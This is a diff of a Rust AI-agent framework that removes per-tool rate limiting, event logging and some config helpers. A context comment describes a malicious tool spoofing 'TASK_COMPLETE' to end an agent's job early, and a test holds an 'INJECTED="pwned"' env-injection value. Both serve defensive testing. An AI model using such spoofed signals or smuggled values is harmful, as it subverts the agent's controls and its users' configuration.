use crate::tools::rate_limiter::RateLimitResult;
/// Shared dependencies for worker execution.
///
@@ -98,20 +97,6 @@ impl Worker {
}
}
/// Fire-and-forget persistence of a job event.
fn log_event(&self, event_type: &str, data: serde_json::Value) {
if let Some(store) = self.store() {
let store = store.clone();
let job_id = self.job_id;
let event_type = event_type.to_string();
tokio::spawn(async move {
if let Err(e) = store.save_job_event(job_id, &event_type, &data).await {
tracing::warn!("Failed to persist event for job {}: {}", job_id, e);
}
});
}
}
/// Run the worker until the job is complete or stopped.
pub async fn run(self, mut rx: mpsc::Receiver<WorkerMessage>) -> Result<(), Error> {
tracing::info!("Worker starting for job {}", self.job_id);
@@ -158,37 +143,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
match result {
Ok(Ok(())) => {
tracing::info!("Worker for job {} completed successfully", self.job_id);
// Only mark completed if still in an active, non-stuck state.
// The execution_loop may have already called mark_completed or
// mark_stuck (e.g. "plan completed but work remains").
let current_state = self
.context_manager()
.get_context(self.job_id)
.await
.map(|ctx| ctx.state);
match current_state {
Ok(state) if state.is_terminal() => {
// Already in a terminal state (e.g. execution_loop
// called mark_completed itself).
}
Ok(JobState::Stuck) => {
// execution_loop marked this as stuck (e.g. "plan
// completed but work remains"); leave for self-repair.
tracing::info!(
"Job {} returned Ok but is Stuck — leaving for self-repair",
self.job_id
);
}
Ok(_) => {
self.mark_completed().await?;
}
Err(e) => {
tracing::warn!(
job_id = %self.job_id,
"Failed to get job context, cannot mark as completed: {}", e
);
}
}
}
Ok(Err(e)) => {
tracing::error!("Worker for job {} failed: {}", self.job_id, e);
@@ -209,15 +163,7 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
reasoning: &Reasoning,
reason_ctx: &mut ReasoningContext,
) -> Result<(), Error> {
const MAX_WORKER_ITERATIONS: usize = 500;
let max_iterations = self
.context_manager()
.get_context(self.job_id)
.await
.ok()
.and_then(|ctx| ctx.metadata.get("max_iterations").and_then(|v| v.as_u64()))
.unwrap_or(50) as usize;
let max_iterations = max_iterations.min(MAX_WORKER_ITERATIONS);
let max_iterations = 50;
let mut iteration = 0;
// Initial tool definitions for planning (will be refreshed in loop)
@@ -246,14 +192,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
.join("\n")
)));
self.log_event("message", serde_json::json!({
"role": "assistant",
"content": format!("Plan: {}\n\n{}", p.goal,
p.actions.iter().enumerate()
.map(|(i, a)| format!("{}. {} - {}", i + 1, a.tool_name, a.reasoning))
.collect::<Vec<_>>().join("\n"))
}));
Some(p)
}
Err(e) => {
@@ -328,14 +266,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
// Add assistant response to context
reason_ctx.messages.push(ChatMessage::assistant(&response));
self.log_event(
"message",
serde_json::json!({
"role": "assistant",
"content": response,
}),
);
// Give it one more chance to select a tool
if iteration > 3 && iteration % 5 == 0 {
reason_ctx.messages.push(ChatMessage::user(
@@ -354,16 +284,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
tool_calls.len()
);
if let Some(ref text) = content {
self.log_event(
"message",
serde_json::json!({
"role": "assistant",
"content": text,
}),
);
}
// Add assistant message with tool_calls (OpenAI protocol)
reason_ctx
.messages
@@ -512,31 +432,16 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
})?;
// Tools requiring approval are blocked in autonomous jobs
if tool.requires_approval(params).is_required() {
if tool.requires_approval() {
return Err(crate::error::ToolError::AuthRequired {
name: tool_name.to_string(),
}
.into());
}
// Fetch job context early so we have the real user_id for hooks and rate limiting
// Fetch job context early so we have the real user_id for hooks
let job_ctx = deps.context_manager.get_context(job_id).await?;
// Check per-tool rate limit before running hooks or executing (cheaper check first)
if let Some(config) = tool.rate_limit_config()
&& let RateLimitResult::Limited { retry_after, .. } = deps
.tools
.rate_limiter()
.check_and_record(&job_ctx.user_id, tool_name, &config)
.await
{
return Err(crate::error::ToolError::RateLimited {
name: tool_name.to_string(),
retry_after: Some(retry_after),
}
.into());
}
// Run BeforeToolCall hook
let params = {
use crate::hooks::{HookError, HookEvent, HookOutcome};
@@ -746,15 +651,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
selection: &ToolSelection,
result: Result<String, Error>,
) -> Result<bool, Error> {
self.log_event(
"tool_use",
serde_json::json!({
"tool_name": selection.tool_name,
"input": crate::agent::agent_loop::truncate_for_preview(
&selection.parameters.to_string(), 500),
}),
);
match result {
Ok(output) => {
// Sanitize output
@@ -775,12 +671,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
wrapped,
));
self.log_event("tool_result", serde_json::json!({
"tool_name": selection.tool_name,
"success": true,
"output": crate::agent::agent_loop::truncate_for_preview(&sanitized.content, 500),
}));
// Tool output never drives job completion. A malicious tool could
// emit "TASK_COMPLETE" to force premature completion. Only the LLM's
// own structured response (in execution_loop) can mark a job done.
@@ -807,15 +697,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
});
}
self.log_event(
"tool_result",
serde_json::json!({
"tool_name": selection.tool_name,
"success": false,
"output": format!("Error: {}", e),
}),
);
reason_ctx.messages.push(ChatMessage::tool_result(
&selection.tool_call_id,
&selection.tool_name,
@@ -937,13 +818,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
reason: s,
})?;
self.log_event(
"result",
serde_json::json!({
"success": true,
"message": "Job completed successfully",
}),
);
self.persist_status(
JobState::Completed,
Some("Job completed successfully".to_string()),
@@ -962,13 +836,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
reason: s,
})?;
self.log_event(
"result",
serde_json::json!({
"success": false,
"message": format!("Execution failed: {}", reason),
}),
);
self.persist_status(JobState::Failed, Some(reason.to_string()));
Ok(())
}
@@ -982,13 +849,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
reason: s,
})?;
self.log_event(
"result",
serde_json::json!({
"success": false,
"message": format!("Job stuck: {}", reason),
}),
);
self.persist_status(JobState::Stuck, Some(reason.to_string()));
Ok(())
}
+176 -136
View File
@@ -22,7 +22,6 @@ use crate::skills::SkillRegistry;
use crate::skills::catalog::SkillCatalog;
use crate::tools::ToolRegistry;
use crate::tools::mcp::McpSessionManager;
use crate::tools::wasm::SharedCredentialRegistry;
use crate::tools::wasm::WasmToolRuntime;
use crate::workspace::{EmbeddingProvider, Workspace};
@@ -49,8 +48,6 @@ pub struct AppComponents {
pub skill_catalog: Option<Arc<SkillCatalog>>,
pub cost_guard: Arc<crate::agent::cost_guard::CostGuard>,
pub session: Arc<SessionManager>,
pub catalog_entries: Vec<crate::extensions::RegistryEntry>,
pub dev_loaded_tool_names: Vec<String>,
}
/// Options that control optional init phases.
@@ -203,13 +200,9 @@ impl AppBuilder {
self.session.attach_store(db.clone(), "default").await;
// Fire-and-forget housekeeping — no need to block startup.
let db_cleanup = db.clone();
tokio::spawn(async move {
if let Err(e) = db_cleanup.cleanup_stale_sandbox_jobs().await {
tracing::warn!("Failed to cleanup stale sandbox jobs: {}", e);
}
});
if let Err(e) = db.cleanup_stale_sandbox_jobs().await {
tracing::warn!("Failed to cleanup stale sandbox jobs: {}", e);
}
self.db = Some(db);
Ok(())
@@ -292,14 +285,94 @@ impl AppBuilder {
/// Phase 3: Initialize LLM provider chain.
///
/// Delegates to `build_provider_chain` which applies all decorators
/// (retry, smart routing, failover, circuit breaker, response cache).
/// Creates the primary provider, then wraps with failover, circuit
/// breaker, and response cache as configured.
#[allow(clippy::type_complexity)]
pub fn init_llm(
&self,
) -> Result<(Arc<dyn LlmProvider>, Option<Arc<dyn LlmProvider>>), anyhow::Error> {
let (llm, cheap_llm) =
crate::llm::build_provider_chain(&self.config.llm, self.session.clone())?;
use crate::llm::{
CachedProvider, CircuitBreakerConfig, CircuitBreakerProvider, CooldownConfig,
FailoverProvider, ResponseCacheConfig, create_cheap_llm_provider, create_llm_provider,
create_llm_provider_with_config,
};
let llm = create_llm_provider(&self.config.llm, self.session.clone())?;
tracing::info!("LLM provider initialized: {}", llm.model_name());
// Wrap in failover if a fallback model is configured
let llm: Arc<dyn LlmProvider> = if let Some(fallback_model) =
self.config.llm.nearai.fallback_model.as_ref()
{
if fallback_model == &self.config.llm.nearai.model {
tracing::warn!(
"fallback_model is the same as primary model, failover may not be effective"
);
}
let mut fallback_config = self.config.llm.nearai.clone();
fallback_config.model = fallback_model.clone();
let fallback = create_llm_provider_with_config(&fallback_config, self.session.clone())?;
tracing::info!(
primary = %llm.model_name(),
fallback = %fallback.model_name(),
"LLM failover enabled"
);
let cooldown_config = CooldownConfig {
cooldown_duration: std::time::Duration::from_secs(
self.config.llm.nearai.failover_cooldown_secs,
),
failure_threshold: self.config.llm.nearai.failover_cooldown_threshold,
};
Arc::new(FailoverProvider::with_cooldown(
vec![llm, fallback],
cooldown_config,
)?)
} else {
llm
};
// Wrap in circuit breaker if configured
let llm: Arc<dyn LlmProvider> =
if let Some(threshold) = self.config.llm.nearai.circuit_breaker_threshold {
let cb_config = CircuitBreakerConfig {
failure_threshold: threshold,
recovery_timeout: std::time::Duration::from_secs(
self.config.llm.nearai.circuit_breaker_recovery_secs,
),
..CircuitBreakerConfig::default()
};
tracing::info!(
threshold,
recovery_secs = self.config.llm.nearai.circuit_breaker_recovery_secs,
"LLM circuit breaker enabled"
);
Arc::new(CircuitBreakerProvider::new(llm, cb_config))
} else {
llm
};
// Wrap in response cache if configured
let llm: Arc<dyn LlmProvider> = if self.config.llm.nearai.response_cache_enabled {
let rc_config = ResponseCacheConfig {
ttl: std::time::Duration::from_secs(self.config.llm.nearai.response_cache_ttl_secs),
max_entries: self.config.llm.nearai.response_cache_max_entries,
};
tracing::info!(
ttl_secs = self.config.llm.nearai.response_cache_ttl_secs,
max_entries = self.config.llm.nearai.response_cache_max_entries,
"LLM response cache enabled"
);
Arc::new(CachedProvider::new(llm, rc_config))
} else {
llm
};
// Cheap LLM for lightweight tasks
let cheap_llm = create_cheap_llm_provider(&self.config.llm, self.session.clone())?;
if let Some(ref cheap) = cheap_llm {
tracing::info!("Cheap LLM provider initialized: {}", cheap.model_name());
}
Ok((llm, cheap_llm))
}
@@ -316,41 +389,55 @@ impl AppBuilder {
),
anyhow::Error,
> {
use crate::workspace::{NearAiEmbeddings, OpenAiEmbeddings};
let safety = Arc::new(SafetyLayer::new(&self.config.safety));
tracing::info!("Safety layer initialized");
// Initialize tool registry with credential injection support
let credential_registry = Arc::new(SharedCredentialRegistry::new());
let tools = if let Some(ref ss) = self.secrets_store {
Arc::new(
ToolRegistry::new()
.with_credentials(Arc::clone(&credential_registry), Arc::clone(ss)),
)
} else {
Arc::new(ToolRegistry::new())
};
let tools = Arc::new(ToolRegistry::new());
tools.register_builtin_tools();
tracing::info!("Registered {} built-in tools", tools.count());
// Create embeddings provider using the unified method
let embeddings = self
.config
.embeddings
.create_provider(&self.config.llm.nearai.base_url, self.session.clone());
// Warn if libSQL backend is used with non-1536 embedding dimension.
if self.config.database.backend == crate::config::DatabaseBackend::LibSql
&& self.config.embeddings.enabled
&& self.config.embeddings.dimension != 1536
{
tracing::warn!(
configured_dimension = self.config.embeddings.dimension,
"Embedding dimension {} is not 1536. The libSQL schema uses \
F32_BLOB(1536) which requires exactly 1536 dimensions. \
Embedding storage will fail. Use PostgreSQL or set \
EMBEDDING_DIMENSION=1536.",
self.config.embeddings.dimension
);
}
// Create embeddings provider if configured
let embeddings: Option<Arc<dyn EmbeddingProvider>> = if self.config.embeddings.enabled {
match self.config.embeddings.provider.as_str() {
"nearai" => {
tracing::info!(
"Embeddings enabled via NEAR AI (model: {})",
self.config.embeddings.model
);
Some(Arc::new(
NearAiEmbeddings::new(
&self.config.llm.nearai.base_url,
self.session.clone(),
)
.with_model(&self.config.embeddings.model, 1536),
))
}
_ => {
if let Some(api_key) = self.config.embeddings.openai_api_key() {
tracing::info!(
"Embeddings enabled via OpenAI (model: {})",
self.config.embeddings.model
);
Some(Arc::new(OpenAiEmbeddings::with_model(
api_key,
&self.config.embeddings.model,
match self.config.embeddings.model.as_str() {
"text-embedding-3-large" => 3072,
_ => 1536,
},
)))
} else {
tracing::warn!("Embeddings configured but OPENAI_API_KEY not set");
None
}
}
}
} else {
tracing::info!("Embeddings disabled (set OPENAI_API_KEY or EMBEDDING_ENABLED=true)");
None
};
// Register memory tools if database is available
let workspace = if let Some(ref db) = self.db {
@@ -392,8 +479,6 @@ impl AppBuilder {
Arc<McpSessionManager>,
Option<Arc<WasmToolRuntime>>,
Option<Arc<ExtensionManager>>,
Vec<crate::extensions::RegistryEntry>,
Vec<String>,
),
anyhow::Error,
> {
@@ -402,17 +487,19 @@ impl AppBuilder {
let mcp_session_manager = Arc::new(McpSessionManager::new());
// Create WASM tool runtime eagerly so extensions installed after startup
// (e.g. via the web UI) can still be activated. The tools directory is only
// needed when loading modules, not for engine initialisation.
let wasm_tool_runtime: Option<Arc<WasmToolRuntime>> = if self.config.wasm.enabled {
WasmToolRuntime::new(self.config.wasm.to_runtime_config())
.map(Arc::new)
.map_err(|e| tracing::warn!("Failed to initialize WASM runtime: {}", e))
.ok()
} else {
None
};
// Create WASM tool runtime
let wasm_tool_runtime: Option<Arc<WasmToolRuntime>> =
if self.config.wasm.enabled && self.config.wasm.tools_dir.exists() {
match WasmToolRuntime::new(self.config.wasm.to_runtime_config()) {
Ok(runtime) => Some(Arc::new(runtime)),
Err(e) => {
tracing::warn!("Failed to initialize WASM runtime: {}", e);
None
}
}
} else {
None
};
// Load WASM tools and MCP servers concurrently
let wasm_tools_future = {
@@ -421,8 +508,6 @@ impl AppBuilder {
let tools = Arc::clone(tools);
let wasm_config = self.config.wasm.clone();
async move {
let mut dev_loaded_tool_names: Vec<String> = Vec::new();
if let Some(ref runtime) = wasm_tool_runtime {
let mut loader = WasmToolLoader::new(Arc::clone(runtime), Arc::clone(&tools));
if let Some(ref secrets) = secrets_store {
@@ -453,11 +538,10 @@ impl AppBuilder {
match load_dev_tools(&loader, &wasm_config.tools_dir).await {
Ok(results) => {
dev_loaded_tool_names.extend(results.loaded.iter().cloned());
if !dev_loaded_tool_names.is_empty() {
if !results.loaded.is_empty() {
tracing::info!(
"Loaded {} dev WASM tools from build artifacts",
dev_loaded_tool_names.len()
results.loaded.len()
);
}
}
@@ -466,8 +550,6 @@ impl AppBuilder {
}
}
}
dev_loaded_tool_names
}
};
@@ -572,46 +654,13 @@ impl AppBuilder {
}
};
let (dev_loaded_tool_names, _) = tokio::join!(wasm_tools_future, mcp_servers_future);
tokio::join!(wasm_tools_future, mcp_servers_future);
// Load registry catalog entries for extension discovery
let catalog_entries = match crate::registry::RegistryCatalog::load_or_embedded() {
Ok(catalog) => {
let entries: Vec<_> = catalog
.all()
.iter()
.map(|m| m.to_registry_entry())
.collect();
tracing::info!(
count = entries.len(),
"Loaded registry catalog entries for extension discovery"
);
entries
}
Err(e) => {
tracing::warn!("Failed to load registry catalog: {}", e);
Vec::new()
}
};
// Create extension manager. Use ephemeral in-memory secrets if no
// persistent store is configured (listing/install/activate still work).
let ext_secrets: Arc<dyn crate::secrets::SecretsStore + Send + Sync> = if let Some(ref s) =
self.secrets_store
{
Arc::clone(s)
} else {
use crate::secrets::{InMemorySecretsStore, SecretsCrypto};
let ephemeral_key =
secrecy::SecretString::from(crate::secrets::keychain::generate_master_key_hex());
let crypto = Arc::new(SecretsCrypto::new(ephemeral_key).expect("ephemeral crypto"));
tracing::debug!("Using ephemeral in-memory secrets store for extension manager");
Arc::new(InMemorySecretsStore::new(crypto))
};
let extension_manager = {
// Create extension manager
let extension_manager = if let Some(ref secrets) = self.secrets_store {
let manager = Arc::new(ExtensionManager::new(
Arc::clone(&mcp_session_manager),
ext_secrets,
Arc::clone(secrets),
Arc::clone(tools),
Some(Arc::clone(hooks)),
wasm_tool_runtime.clone(),
@@ -620,28 +669,27 @@ impl AppBuilder {
self.config.tunnel.public_url.clone(),
"default".to_string(),
self.db.clone(),
catalog_entries.clone(),
));
tools.register_extension_tools(Arc::clone(&manager));
tracing::info!("Extension manager initialized with in-chat discovery tools");
Some(manager)
} else {
tracing::debug!(
"Extension manager not available (no secrets store). \
Extension tools won't be registered."
);
None
};
// register_builder_tool() already calls register_dev_tools() internally,
// so only register them here when the builder didn't already do it.
let builder_registered_dev_tools = self.config.builder.enabled
&& (self.config.agent.allow_local_tools || !self.config.sandbox.enabled);
if self.config.agent.allow_local_tools && !builder_registered_dev_tools {
// Register dev tools if local tools are enabled
if self.config.agent.allow_local_tools {
tools.register_dev_tools();
tracing::info!(
"Local tools enabled (allow_local_tools=true), dev tools registered directly"
);
}
Ok((
mcp_session_manager,
wasm_tool_runtime,
extension_manager,
catalog_entries,
dev_loaded_tool_names,
))
Ok((mcp_session_manager, wasm_tool_runtime, extension_manager))
}
/// Run all init phases in order and return the assembled components.
@@ -655,17 +703,15 @@ impl AppBuilder {
// Create hook registry early so runtime extension activation can register hooks.
let hooks = Arc::new(HookRegistry::new());
let (
mcp_session_manager,
wasm_tool_runtime,
extension_manager,
catalog_entries,
dev_loaded_tool_names,
) = self.init_extensions(&tools, &hooks).await?;
let (mcp_session_manager, wasm_tool_runtime, extension_manager) =
self.init_extensions(&tools, &hooks).await?;
// Seed workspace and backfill embeddings
if let Some(ref ws) = workspace {
match ws.seed_if_empty().await {
Ok(count) if count > 0 => {
tracing::info!("Workspace seeded with {} core files", count);
}
Ok(_) => {}
Err(e) => {
tracing::warn!("Failed to seed workspace: {}", e);
@@ -673,25 +719,21 @@ impl AppBuilder {
}
if embeddings.is_some() {
let ws_bg = Arc::clone(ws);
tokio::spawn(async move {
match ws_bg.backfill_embeddings().await {
Ok(count) if count > 0 => {
tracing::info!("Backfilled embeddings for {} chunks", count);
}
Ok(_) => {}
Err(e) => {
tracing::warn!("Failed to backfill embeddings: {}", e);
}
match ws.backfill_embeddings().await {
Ok(count) if count > 0 => {
tracing::info!("Backfilled embeddings for {} chunks", count);
}
});
Ok(_) => {}
Err(e) => {
tracing::warn!("Failed to backfill embeddings: {}", e);
}
}
}
}
// Skills system
let (skill_registry, skill_catalog) = if self.config.skills.enabled {
let mut registry = SkillRegistry::new(self.config.skills.local_dir.clone())
.with_installed_dir(self.config.skills.installed_dir.clone());
let mut registry = SkillRegistry::new(self.config.skills.local_dir.clone());
let loaded = registry.discover_all().await;
if !loaded.is_empty() {
tracing::info!("Loaded {} skill(s): {}", loaded.len(), loaded.join(", "));
@@ -737,8 +779,6 @@ impl AppBuilder {
skill_catalog,
cost_guard,
session: self.session,
catalog_entries,
dev_loaded_tool_names,
})
}
}
+2 -26
View File
@@ -20,10 +20,8 @@ pub struct BootInfo {
pub heartbeat_enabled: bool,
pub heartbeat_interval_secs: u64,
pub sandbox_enabled: bool,
pub docker_status: crate::sandbox::detect::DockerStatus,
pub claude_code_enabled: bool,
pub routines_enabled: bool,
pub skills_enabled: bool,
pub channels: Vec<String>,
/// Public URL from a managed tunnel (e.g., "https://abc.ngrok.io").
pub tunnel_url: Option<String>,
@@ -37,7 +35,6 @@ pub fn print_boot_screen(info: &BootInfo) {
let bold = "\x1b[1m";
let cyan = "\x1b[36m";
let dim = "\x1b[90m";
let yellow = "\x1b[33m";
let yellow_underline = "\x1b[33;4m";
let reset = "\x1b[0m";
@@ -93,19 +90,8 @@ pub fn print_boot_screen(info: &BootInfo) {
let mins = info.heartbeat_interval_secs / 60;
features.push(format!("heartbeat ({mins}m)"));
}
match info.docker_status {
crate::sandbox::detect::DockerStatus::Available => {
features.push("sandbox".to_string());
}
crate::sandbox::detect::DockerStatus::NotInstalled => {
features.push(format!("{yellow}sandbox (docker not installed){reset}"));
}
crate::sandbox::detect::DockerStatus::NotRunning => {
features.push(format!("{yellow}sandbox (docker not running){reset}"));
}
crate::sandbox::detect::DockerStatus::Disabled => {
// Don't show sandbox when disabled
}
if info.sandbox_enabled {
features.push("sandbox".to_string());
}
if info.claude_code_enabled {
features.push("claude-code".to_string());
@@ -113,9 +99,6 @@ pub fn print_boot_screen(info: &BootInfo) {
if info.routines_enabled {
features.push("routines".to_string());
}
if info.skills_enabled {
features.push("skills".to_string());
}
if !features.is_empty() {
println!(
" {dim}features{reset} {cyan}{}{reset}",
@@ -157,7 +140,6 @@ pub fn print_boot_screen(info: &BootInfo) {
#[cfg(test)]
mod tests {
use super::*;
use crate::sandbox::detect::DockerStatus;
#[test]
fn test_print_boot_screen_full() {
@@ -176,10 +158,8 @@ mod tests {
heartbeat_enabled: true,
heartbeat_interval_secs: 1800,
sandbox_enabled: true,
docker_status: DockerStatus::Available,
claude_code_enabled: false,
routines_enabled: true,
skills_enabled: true,
channels: vec![
"repl".to_string(),
"gateway".to_string(),
@@ -209,10 +189,8 @@ mod tests {
heartbeat_enabled: false,
heartbeat_interval_secs: 0,
sandbox_enabled: false,
docker_status: DockerStatus::Disabled,
claude_code_enabled: false,
routines_enabled: false,
skills_enabled: false,
channels: vec![],
tunnel_url: None,
tunnel_provider: None,
@@ -238,10 +216,8 @@ mod tests {
heartbeat_enabled: false,
heartbeat_interval_secs: 0,
sandbox_enabled: false,
docker_status: DockerStatus::Disabled,
claude_code_enabled: false,
routines_enabled: false,
skills_enabled: false,
channels: vec!["repl".to_string()],
tunnel_url: None,
tunnel_provider: None,
+15 -421
View File
@@ -7,75 +7,13 @@
//! File: `~/.ironclaw/.env` (standard dotenvy format)
use std::path::PathBuf;
use std::sync::LazyLock;
const IRONCLAW_BASE_DIR_ENV: &str = "IRONCLAW_BASE_DIR";
/// Lazily computed IronClaw base directory, cached for the lifetime of the process.
static IRONCLAW_BASE_DIR: LazyLock<PathBuf> = LazyLock::new(compute_ironclaw_base_dir);
/// Compute the IronClaw base directory from environment.
///
/// This is the underlying implementation used by both the public
/// `ironclaw_base_dir()` function (which caches the result) and tests
/// (which need to verify different configurations).
pub fn compute_ironclaw_base_dir() -> PathBuf {
std::env::var(IRONCLAW_BASE_DIR_ENV)
.map(PathBuf::from)
.map(|path| {
if path.as_os_str().is_empty() {
default_base_dir()
} else if !path.is_absolute() {
eprintln!(
"Warning: IRONCLAW_BASE_DIR is a relative path '{}', resolved against current directory",
path.display()
);
path
} else {
path
}
})
.unwrap_or_else(|_| default_base_dir())
}
/// Get the default IronClaw base directory (~/.ironclaw).
///
/// Logs a warning if the home directory cannot be determined and falls back to
/// the current directory.
fn default_base_dir() -> PathBuf {
if let Some(home) = dirs::home_dir() {
home.join(".ironclaw")
} else {
eprintln!("Warning: Could not determine home directory, using current directory");
std::env::current_dir()
.unwrap_or_else(|_| PathBuf::from("/tmp"))
.join(".ironclaw")
}
}
/// Get the IronClaw base directory.
///
/// Override with `IRONCLAW_BASE_DIR` environment variable.
/// Defaults to `~/.ironclaw` (or `./.ironclaw` if home directory cannot be determined).
///
/// Thread-safe: the value is computed once and cached in a `LazyLock`.
///
/// # Environment Variable Behavior
/// - If `IRONCLAW_BASE_DIR` is set to a non-empty path, that path is used.
/// - If `IRONCLAW_BASE_DIR` is set to an empty string, it is treated as unset.
/// - If `IRONCLAW_BASE_DIR` contains null bytes, a warning is printed and the default is used.
/// - If the home directory cannot be determined, a warning is printed and the current directory is used.
///
/// # Returns
/// A `PathBuf` pointing to the base directory. The path is not validated
/// for existence.
pub fn ironclaw_base_dir() -> PathBuf {
IRONCLAW_BASE_DIR.clone()
}
/// Path to the IronClaw-specific `.env` file: `~/.ironclaw/.env`.
pub fn ironclaw_env_path() -> PathBuf {
ironclaw_base_dir().join(".env")
dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join(".env")
}
/// Load env vars from `~/.ironclaw/.env` (in addition to the standard `.env`).
@@ -84,16 +22,11 @@ pub fn ironclaw_env_path() -> PathBuf {
/// takes priority over `~/.ironclaw/.env`. dotenvy never overwrites
/// existing env vars, so the effective priority is:
///
/// explicit env vars > `./.env` > `~/.ironclaw/.env` > auto-detect
/// explicit env vars > `./.env` > `~/.ironclaw/.env`
///
/// If `~/.ironclaw/.env` doesn't exist but the legacy `bootstrap.json` does,
/// extracts `DATABASE_URL` from it and writes the `.env` file (one-time
/// upgrade from the old config format).
///
/// After loading the `.env` file, auto-detects the libsql backend: if
/// `DATABASE_BACKEND` is still unset and `~/.ironclaw/ironclaw.db` exists,
/// defaults to `libsql` so cloud instances work out of the box without any
/// manual configuration.
pub fn load_ironclaw_env() {
let path = ironclaw_env_path();
@@ -105,22 +38,6 @@ pub fn load_ironclaw_env() {
if path.exists() {
let _ = dotenvy::from_path(&path);
}
// Auto-detect libsql: if DATABASE_BACKEND is still unset after loading
// all env files, and the local SQLite DB exists, default to libsql.
// This avoids the chicken-and-egg problem on cloud instances where no
// DATABASE_URL is configured but ironclaw.db is already present.
if std::env::var("DATABASE_BACKEND").is_err() {
let default_db = dirs::home_dir()
.unwrap_or_default()
.join(".ironclaw")
.join("ironclaw.db");
if default_db.exists() {
// SAFETY: `load_ironclaw_env` is called from a synchronous `fn main()`
// before the Tokio runtime is started, so no other threads exist yet.
unsafe { std::env::set_var("DATABASE_BACKEND", "libsql") };
}
}
}
/// If `bootstrap.json` exists, pull `database_url` out of it and write `.env`.
@@ -175,14 +92,7 @@ fn migrate_bootstrap_json_to_env(env_path: &std::path::Path) {
/// Values are double-quoted so that `#` (common in URL-encoded passwords)
/// and other shell-special characters are preserved by dotenvy.
pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> {
save_bootstrap_env_to(&ironclaw_env_path(), vars)
}
/// Write bootstrap vars to an arbitrary path (testable variant).
///
/// Values are double-quoted and escaped so that `#`, `"`, `\` and other
/// shell-special characters are preserved by dotenvy.
pub fn save_bootstrap_env_to(path: &std::path::Path, vars: &[(&str, &str)]) -> std::io::Result<()> {
let path = ironclaw_env_path();
if let Some(parent) = path.parent() {
std::fs::create_dir_all(parent)?;
}
@@ -193,8 +103,8 @@ pub fn save_bootstrap_env_to(path: &std::path::Path, vars: &[(&str, &str)]) -> s
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
}
std::fs::write(path, &content)?;
restrict_file_permissions(path)?;
std::fs::write(&path, &content)?;
restrict_file_permissions(&path)?;
Ok(())
}
@@ -205,15 +115,7 @@ pub fn save_bootstrap_env_to(path: &std::path::Path, vars: &[(&str, &str)]) -> s
/// or appends it otherwise. Use this when writing a single bootstrap var
/// outside the wizard (which manages the full set via `save_bootstrap_env`).
pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> {
upsert_bootstrap_var_to(&ironclaw_env_path(), key, value)
}
/// Update or add a single variable at an arbitrary path (testable variant).
pub fn upsert_bootstrap_var_to(
path: &std::path::Path,
key: &str,
value: &str,
) -> std::io::Result<()> {
let path = ironclaw_env_path();
if let Some(parent) = path.parent() {
std::fs::create_dir_all(parent)?;
}
@@ -222,7 +124,7 @@ pub fn upsert_bootstrap_var_to(
let new_line = format!("{}=\"{}\"", key, escaped);
let prefix = format!("{}=", key);
let existing = std::fs::read_to_string(path).unwrap_or_default();
let existing = std::fs::read_to_string(&path).unwrap_or_default();
let mut found = false;
let mut result = String::new();
@@ -245,8 +147,8 @@ pub fn upsert_bootstrap_var_to(
result.push('\n');
}
std::fs::write(path, result)?;
restrict_file_permissions(path)?;
std::fs::write(&path, result)?;
restrict_file_permissions(&path)?;
Ok(())
}
@@ -283,7 +185,9 @@ pub async fn migrate_disk_to_db(
store: &dyn crate::db::Database,
user_id: &str,
) -> Result<(), MigrationError> {
let ironclaw_dir = ironclaw_base_dir();
let ironclaw_dir = dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw");
let legacy_settings_path = ironclaw_dir.join("settings.json");
if !legacy_settings_path.exists() {
@@ -417,11 +321,8 @@ pub enum MigrationError {
#[cfg(test)]
mod tests {
use super::*;
use std::sync::Mutex;
use tempfile::tempdir;
static ENV_MUTEX: Mutex<()> = Mutex::new(());
#[test]
fn test_save_and_load_database_url() {
let dir = tempdir().unwrap();
@@ -679,311 +580,4 @@ INJECTED="pwned"#;
assert!(onboard.is_some(), "ONBOARD_COMPLETED must be present");
assert_eq!(onboard.unwrap().1, "true");
}
#[test]
fn test_libsql_autodetect_sets_backend_when_db_exists() {
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("DATABASE_BACKEND").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("DATABASE_BACKEND") };
let dir = tempdir().unwrap();
let db_path = dir.path().join("ironclaw.db");
// No DB file — auto-detect guard should not trigger.
assert!(!db_path.exists());
let would_trigger = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
assert!(
!would_trigger,
"should not auto-detect when db file is absent"
);
// Create the DB file — guard should now trigger.
std::fs::write(&db_path, "").unwrap();
assert!(db_path.exists());
// Simulate the detection logic (DATABASE_BACKEND unset + db exists).
let detected = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
assert!(
detected,
"should detect libsql when db file is present and backend unset"
);
// Restore.
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("DATABASE_BACKEND", val) };
}
}
// === QA Plan P1 - 1.2: Bootstrap .env round-trip tests ===
#[test]
fn bootstrap_env_round_trips_llm_backend() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// Simulate what the wizard writes for LLM backend selection
let vars = [
("DATABASE_BACKEND", "libsql"),
("LLM_BACKEND", "openai"),
("ONBOARD_COMPLETED", "true"),
];
let mut content = String::new();
for (key, value) in &vars {
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
}
std::fs::write(&env_path, &content).unwrap();
// Verify dotenvy parses LLM_BACKEND correctly
